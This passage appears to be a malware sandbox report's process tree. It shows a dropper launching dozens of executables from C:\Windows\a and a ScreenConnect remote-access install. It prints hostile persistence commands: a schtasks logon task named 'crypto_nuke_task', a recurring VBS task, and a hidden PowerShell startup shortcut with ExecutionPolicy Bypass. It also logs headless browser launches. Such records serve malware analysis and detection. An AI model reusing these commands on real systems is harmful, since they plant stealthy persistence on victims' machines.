      schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2396
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C start c:\Windows\System32\Taskmgr.exe
    3⤵
    - Executes a command shell one-liner
    PID:3076
  - - \??\c:\Windows\System32\Taskmgr.exe
      c:\Windows\System32\Taskmgr.exe
      4⤵
      PID:4268
- - C:\Windows\a\96a59073b2b8979b8af96577f398dc37b81313c9.exe
    96a59073b2b8979b8af96577f398dc37b81313c9.exe
    3⤵
    PID:4824
- - C:\Windows\a\5af3a9ba934e306391239119006a360d7f81d053.exe
    5af3a9ba934e306391239119006a360d7f81d053.exe
    3⤵
    PID:4828
- - C:\Windows\a\a11ede7be1bb7732ffe370c06c2449f94f05b37f.exe
    a11ede7be1bb7732ffe370c06c2449f94f05b37f.exe
    3⤵
    PID:3268
- - C:\Windows\a\3846d01d2740fe4b8138241fdb8b6a0e9f9f5bbc.exe
    3846d01d2740fe4b8138241fdb8b6a0e9f9f5bbc.exe
    3⤵
    PID:6536
- - C:\Windows\a\9ff8f73f6e5f0b09659251f57d9de6cf0231353d.exe
    9ff8f73f6e5f0b09659251f57d9de6cf0231353d.exe
    3⤵
    PID:6856
- - C:\Windows\a\41d2a54eabff4aea219adfbbced8de869e673603.exe
    41d2a54eabff4aea219adfbbced8de869e673603.exe
    3⤵
    PID:5708
- - C:\Windows\a\df40159a22c3246a82ea621214e298f8839aca2a.exe
    df40159a22c3246a82ea621214e298f8839aca2a.exe
    3⤵
    PID:6792
- - C:\Windows\a\bb8792fd03cc192fce0c967470becedd33fd7df5.exe
    bb8792fd03cc192fce0c967470becedd33fd7df5.exe
    3⤵
    PID:6440
- - C:\Windows\a\8ec64bb7171c9d11c716992bfaaf28d78b064a3d.exe
    8ec64bb7171c9d11c716992bfaaf28d78b064a3d.exe
    3⤵
    PID:6820
- - C:\Windows\a\3c0c60494dd7f5f7bf8d476efc184b63a863f683.exe
    3c0c60494dd7f5f7bf8d476efc184b63a863f683.exe
    3⤵
    PID:6508
- - C:\Windows\a\0230a1f9e51a1eec12499a400f83bf3dc6b221cb.exe
    0230a1f9e51a1eec12499a400f83bf3dc6b221cb.exe
    3⤵
    PID:6784
- - C:\Windows\a\291c916cbd458fffb2d6dfe6a7bd42ae1052cfce.exe
    291c916cbd458fffb2d6dfe6a7bd42ae1052cfce.exe
    3⤵
    PID:4620
- - C:\Windows\a\55d279ac4e2acd98776e1377a13da74d7eeef3cb.exe
    55d279ac4e2acd98776e1377a13da74d7eeef3cb.exe
    3⤵
    PID:6156
- - C:\Windows\a\aa41408253241b4ec900866a23bf01940fd1bec5.exe
    aa41408253241b4ec900866a23bf01940fd1bec5.exe
    3⤵
    PID:6240
- - C:\Windows\a\4a4697b8a793337f02392bd83cb5e3c3bd786934.exe
    4a4697b8a793337f02392bd83cb5e3c3bd786934.exe
    3⤵
    PID:6224
- - C:\Windows\a\2828d2c4a6bb6213fa05861eaccdd21e9c0619bd.exe
    2828d2c4a6bb6213fa05861eaccdd21e9c0619bd.exe
    3⤵
    PID:1048
- - C:\Windows\a\326c93cd59879d9e3fccc9c25b6d0e84a7e53e2f.exe
    326c93cd59879d9e3fccc9c25b6d0e84a7e53e2f.exe
    3⤵
    PID:6420
- - C:\Windows\a\72ae6b0641e30aa2ac1f6fc73ce6e0e306cbc180.exe
    72ae6b0641e30aa2ac1f6fc73ce6e0e306cbc180.exe
    3⤵
    PID:7008
- - C:\Windows\a\f4681ebe237d1f51f641774ff4c44c61fcf278a1.exe
    f4681ebe237d1f51f641774ff4c44c61fcf278a1.exe
    3⤵
    PID:6588
- - C:\Windows\a\492fd05bc88dc6fe9f67d71fbe03868a791d8cf8.exe
    492fd05bc88dc6fe9f67d71fbe03868a791d8cf8.exe
    3⤵
    PID:6280
- - C:\Windows\a\d69476afe3e56206989c044e370b803af6883994.exe
    d69476afe3e56206989c044e370b803af6883994.exe
    3⤵
    PID:7144
- - C:\Windows\a\38992527398fd4ee000ea1337de3a9f0ffa38110.exe
    38992527398fd4ee000ea1337de3a9f0ffa38110.exe
    3⤵
    PID:6352
- - C:\Windows\a\383ce1a249b3e89fe79521c81cee9325118eb49f.exe
    383ce1a249b3e89fe79521c81cee9325118eb49f.exe
    3⤵
    PID:6892
- - C:\Windows\a\75d003486a1211d2899192df27c75a5c3846b401.exe
    75d003486a1211d2899192df27c75a5c3846b401.exe
    3⤵
    PID:6600
- - C:\Windows\a\7600bb8dddf1909bdfb4e10b277f67ae9a92b6eb.exe
    7600bb8dddf1909bdfb4e10b277f67ae9a92b6eb.exe
    3⤵
    PID:6948
- - C:\Windows\a\235de2d1a09eb9f1a997530849bb3cc89b61119f.exe
    235de2d1a09eb9f1a997530849bb3cc89b61119f.exe
    3⤵
    PID:3328
- - C:\Windows\a\da38970eb1964f5d6635bd74906ad5981640d215.exe
    da38970eb1964f5d6635bd74906ad5981640d215.exe
    3⤵
    PID:6944
- - C:\Windows\a\d8acea97c1e8dd08de84a7b56eca7ff479c397e9.exe
    d8acea97c1e8dd08de84a7b56eca7ff479c397e9.exe
    3⤵
    PID:5324
- - C:\Windows\a\e1e914bc687acd6a66a0dd937bbb012d661b0487.exe
    e1e914bc687acd6a66a0dd937bbb012d661b0487.exe
    3⤵
    PID:708
- - C:\Windows\a\24aa27461eb99d324a500c20d182350d05273e81.exe
    24aa27461eb99d324a500c20d182350d05273e81.exe
    3⤵
    PID:5484
- - C:\Windows\a\0a1d01c296ced152dc4f10bd96e7d9bd933ecc95.exe
    0a1d01c296ced152dc4f10bd96e7d9bd933ecc95.exe
    3⤵
    PID:1788
- - C:\Windows\a\c312ea3379bd12897cbfe694b432223ffabb5753.exe
    c312ea3379bd12897cbfe694b432223ffabb5753.exe
    3⤵
    PID:4136
- - C:\Windows\a\c8d4d8550513daebf5f66930a6ca890813617f43.exe
    c8d4d8550513daebf5f66930a6ca890813617f43.exe
    3⤵
    PID:6448
- - C:\Windows\a\86625e37ce60b2b132e4ddc6ebcbe8804946b2cd.exe
    86625e37ce60b2b132e4ddc6ebcbe8804946b2cd.exe
    3⤵
    PID:7376
- - C:\Windows\a\380a00f40fd3f56d9d7005182b19891841f10002.exe
    380a00f40fd3f56d9d7005182b19891841f10002.exe
    3⤵
    PID:7544
- - C:\Windows\a\259d5e4be2bcfd484cb72eac125d651ac7c52e5a.exe
    259d5e4be2bcfd484cb72eac125d651ac7c52e5a.exe
    3⤵
    PID:7552
- - C:\Windows\a\ae76ed3729f4f1f5ba24280f07958d947ed203b0.exe
    ae76ed3729f4f1f5ba24280f07958d947ed203b0.exe
    3⤵
    PID:7648
- - C:\Windows\a\13711b1a1a1d137e38971439c9e6af83066e65a1.exe
    13711b1a1a1d137e38971439c9e6af83066e65a1.exe
    3⤵
    PID:7712
- - C:\Windows\a\d38b28254a8300b383e07b82b1cf52829eeb89f4.exe
    d38b28254a8300b383e07b82b1cf52829eeb89f4.exe
    3⤵
    PID:7728
- - C:\Windows\a\87b03e80b07524c94d805f0c60e0c5b80f8a8da8.exe
    87b03e80b07524c94d805f0c60e0c5b80f8a8da8.exe
    3⤵
    PID:7868
- - C:\Windows\a\ebeb97dd2813004e9f3819d069aae98d31f93078.exe
    ebeb97dd2813004e9f3819d069aae98d31f93078.exe
    3⤵
    PID:7984
- - C:\Windows\a\c4770837dd25568d369b368135c2dd084cabb675.exe
    c4770837dd25568d369b368135c2dd084cabb675.exe
    3⤵
    PID:8076
- - C:\Windows\a\a17b0fd88915a1eb05f3a2c0987cfa45b5368ef1.exe
    a17b0fd88915a1eb05f3a2c0987cfa45b5368ef1.exe
    3⤵
    PID:8168
- - C:\Windows\a\10d1140834f07257e8d2f476a789e42819b30ab6.exe
    10d1140834f07257e8d2f476a789e42819b30ab6.exe
    3⤵
    PID:1432
- - C:\Windows\a\979125dc40a536e3ad029d388bdf5619934d4271.exe
    979125dc40a536e3ad029d388bdf5619934d4271.exe
    3⤵
    PID:6952
- - C:\Windows\a\18cd9cfbf2f0e896b59430c309d0ff12ecd23818.exe
    18cd9cfbf2f0e896b59430c309d0ff12ecd23818.exe
    3⤵
    PID:2020
- - C:\Windows\a\865fe58959d3dd47904f3091753667b8486012a0.exe
    865fe58959d3dd47904f3091753667b8486012a0.exe
    3⤵
    PID:4916
- - C:\Windows\a\be9d27849c4c302b4dfe65b2709988e0c352896f.exe
    be9d27849c4c302b4dfe65b2709988e0c352896f.exe
    3⤵
    PID:7140
- - C:\Windows\a\e389dc966d42c7cf9ae97e00bcd8f94f0777f64d.exe
    e389dc966d42c7cf9ae97e00bcd8f94f0777f64d.exe
    3⤵
    PID:6852
- - C:\Windows\a\164a5ecd2b08a29e453600d9378a941e0ee939a8.exe
    164a5ecd2b08a29e453600d9378a941e0ee939a8.exe
    3⤵
    PID:7764
- - C:\Windows\a\2c191363ea68140df531832ba123d698b1d56748.exe
    2c191363ea68140df531832ba123d698b1d56748.exe
    3⤵
    PID:7892
- - C:\Windows\a\319f1b3495cd02507644bc7598f6566db3e8e7ee.exe
    319f1b3495cd02507644bc7598f6566db3e8e7ee.exe
    3⤵
    PID:7568
- - C:\Windows\a\176778e1b34d4bf18b67e0208431237741f75255.exe
    176778e1b34d4bf18b67e0208431237741f75255.exe
    3⤵
    PID:6712
- - C:\Windows\a\52b9bbb9026165e0593c1791e9e7c3babdde55fd.exe
    52b9bbb9026165e0593c1791e9e7c3babdde55fd.exe
    3⤵
    PID:8176
- - C:\Windows\a\9d4cfc3e700aa9aaa40d18db8d7e912670578b21.exe
    9d4cfc3e700aa9aaa40d18db8d7e912670578b21.exe
    3⤵
    PID:2596
- - C:\Windows\a\84b4a6719d32105eb76e5cc8c2ac8c4aef1f759d.exe
    84b4a6719d32105eb76e5cc8c2ac8c4aef1f759d.exe
    3⤵
    PID:3948
- - C:\Windows\a\cbe043745bd41487bcc0ac26557a0262bfad5b25.exe
    cbe043745bd41487bcc0ac26557a0262bfad5b25.exe
    3⤵
    PID:7676
- - C:\Windows\a\2a2e29ee7d027bf6f2c5bf619bf4b63d69960ab9.exe
    2a2e29ee7d027bf6f2c5bf619bf4b63d69960ab9.exe
    3⤵
    PID:8036
- - C:\Windows\a\wearebeack.exe
    wearebeack.exe
    3⤵
    PID:8040
- - C:\Windows\a\file_f309f8496f916deb.exe
    file_f309f8496f916deb.exe
    3⤵
    PID:8120
- - C:\Windows\a\C567-89.exe
    C567-89.exe
    3⤵
    PID:6664
- - C:\Windows\a\Thor7.exe
    Thor7.exe
    3⤵
    PID:9084
- - C:\Users\Admin\AppData\Local\Temp\ChromeSetup.exe
    ChromeSetup.exe
    3⤵
    PID:9188
  - - C:\Windows\SystemTemp\Google9188_1863879479\bin\updater.exe
      "C:\Windows\SystemTemp\Google9188_1863879479\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={7CE1A3BF-8CB5-0868-5AE3-3E79944A9662}&lang=ru&browser=4&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=-arch_x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=2
      4⤵
      PID:7716
    - - C:\Windows\SystemTemp\Google9188_1863879479\bin\updater.exe
        
        C:\Windows\SystemTemp\Google9188_1863879479\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\144.0.7547.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=144.0.7547.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x2ac,0x2b0,0x2b4,0x2a8,0x2b8,0x13ee5fc,0x13ee608,0x13ee614
        5⤵
        
        PID:6960
- - C:\Windows\a\9z7BGnRGpgs8cZv7.exe
    9z7BGnRGpgs8cZv7.exe
    3⤵
    PID:8908
- - C:\Windows\a\gM9anpOuZNKX8zHj.exe
    gM9anpOuZNKX8zHj.exe
    3⤵
    PID:4116
- - C:\Windows\a\6eq5gvOfRvNmCi54.exe
    6eq5gvOfRvNmCi54.exe
    3⤵
    PID:4136
- - C:\Windows\a\mKM65Cf6QNqeOVw9.exe
    mKM65Cf6QNqeOVw9.exe
    3⤵
    PID:6760
- - C:\Windows\a\when-ill-start-earn-money.exe
    when-ill-start-earn-money.exe
    3⤵
    PID:9096
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:10996
- - C:\Windows\a\test.exe
    test.exe
    3⤵
    PID:704
- - C:\Windows\a\bot.exe
    bot.exe
    3⤵
    PID:7552
- - C:\Windows\a\DaiDai.exe
    DaiDai.exe
    3⤵
    PID:9812
- - C:\Windows\a\s.exe
    s.exe
    3⤵
    PID:10152
- - C:\Windows\a\build_x32.exe
    build_x32.exe
    3⤵
    PID:6240
- - C:\Windows\a\fresh.exe
    fresh.exe
    3⤵
    PID:9164
- - C:\Windows\a\ppisondeers.exe
    ppisondeers.exe
    3⤵
    PID:1220
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"
      4⤵
      PID:1280
- - C:\Windows\a\715-16.exe
    715-16.exe
    3⤵
    PID:6428
- - C:\Windows\a\app.exe
    app.exe
    3⤵
    PID:7868
- - C:\Windows\a\1207-1007.exe
    1207-1007.exe
    3⤵
    PID:4432
- - C:\Windows\a\chrome78.exe
    chrome78.exe
    3⤵
    PID:7152
- - C:\Windows\a\raj101.exe
    raj101.exe
    3⤵
    PID:9656
- - C:\Windows\a\Signori78.exe
    Signori78.exe
    3⤵
    PID:1244
- - C:\Windows\a\Chrome08.exe
    Chrome08.exe
    3⤵
    PID:3192
- - C:\Windows\a\online.exe
    online.exe
    3⤵
    PID:10400
  - - C:\Windows\a\online.exe
      online.exe
      4⤵
      PID:10564
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:7876
- - C:\Windows\a\watchdog.exe
    watchdog.exe
    3⤵
    PID:10592
  - - C:\Windows\a\watchdog.exe
      watchdog.exe
      4⤵
      PID:10900
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:9356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command " $WshShell = New-Object -ComObject WScript.Shell $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RemotePanelWatchdog.lnk') $Shortcut.TargetPath = 'C:\ProgramData\RemotePanel\watchdog.exe' $Shortcut.WorkingDirectory = 'C:\ProgramData\RemotePanel' $Shortcut.Save() "
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1512
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist.exe /FI "PID eq 256" /FO CSV /NH
        5⤵
        Enumerates processes with tasklist
        
        PID:4276
- - C:\Windows\a\file_77b5757ae75eb20b.exe
    file_77b5757ae75eb20b.exe
    3⤵
    PID:11192
- - C:\Windows\a\Upaavirkeligheden.exe
    Upaavirkeligheden.exe
    3⤵
    PID:4812
  - - C:\Windows\a\Upaavirkeligheden.exe
      "C:\Windows\a\Upaavirkeligheden.exe"
      4⤵
      PID:11144
- - C:\Windows\a\file_3a1cc00092af29d0.exe
    file_3a1cc00092af29d0.exe
    3⤵
    PID:9932
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Windows\a\test.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:10780
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8768
    - - C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\415057152.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:3632
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\415057152.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5220
  - - C:\Windows\SysWOW64\wscript.exe
      C:\Windows\System32\wscript.exe //B "C:\Windows\a\test.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:10916
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10392
    - - C:\Windows\SysWOW64\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\895736473.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:8828
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\895736473.ps1"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4324
- - C:\Windows\a\00231.exe
    00231.exe
    3⤵
    PID:7604
- - C:\Windows\a\update.exe
    update.exe
    3⤵
    PID:8928
- - C:\Windows\a\byk4d5tg4nyo.exe
    byk4d5tg4nyo.exe
    3⤵
    PID:8372
- - C:\Windows\a\bot_x64.exe
    bot_x64.exe
    3⤵
    PID:7200
- - C:\Windows\a\klr.exe
    klr.exe
    3⤵
    PID:9792
- - C:\Windows\a\db9c0fee.exe
    db9c0fee.exe
    3⤵
    PID:10480
- - C:\Windows\a\5fzscnissh1s.exe
    5fzscnissh1s.exe
    3⤵
    PID:8076
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:11904
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffafc0ec728,0x7ffafc0ec734,0x7ffafc0ec740
        5⤵
        
        PID:12108
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --force-high-res-timeticks=disabled --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2224 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:12968
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2176 /prefetch:2
        5⤵
        
        PID:12984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --force-high-res-timeticks=disabled --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2236 /prefetch:13
        5⤵
        
        PID:12988
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3252 /prefetch:1
        5⤵
        
        PID:12188
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3276 /prefetch:1
        5⤵
        
        PID:12200
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3552 /prefetch:1
        5⤵
        
        PID:11420
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3588 /prefetch:9
        5⤵
        
        PID:11428
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3980 /prefetch:9
        5⤵
        
        PID:11436
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4508 /prefetch:9
        5⤵
        
        PID:9104
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome11904240870031" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=2180,i,15612996892539674849,7367745526163581830,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3268 /prefetch:1
        5⤵
        
        PID:10304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:13056
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge13056240881359 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge13056240881359\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x2b8,0x7ffae440c188,0x7ffae440c194,0x7ffae440c1a0
        5⤵
        
        PID:9036
- - C:\Windows\a\wrm.exe
    wrm.exe
    3⤵
    PID:5796
  - - C:\Windows\a\wrm.exe
      wrm.exe
      4⤵
      PID:10532
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:2640

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4352
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2F5B41CB0996500A9D597E81CE5F3F91 C
  2⤵
  PID:1084
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI90FB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240751625 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:5360
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9C37.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754343 8 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    PID:2536
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAB7B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240758328 15 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    PID:7028
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FB2F414411982A719A6CEB14EA75BB55 C
  2⤵
  PID:6900
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9CB3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240754593 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:4888
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA33C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240755875 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    PID:2296
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB955.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240764640 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    PID:6644
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E425B999141D50F498D355043593D117 C
  2⤵
  PID:8520
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5465923A818AFD02D3B6AF585C852F6A U
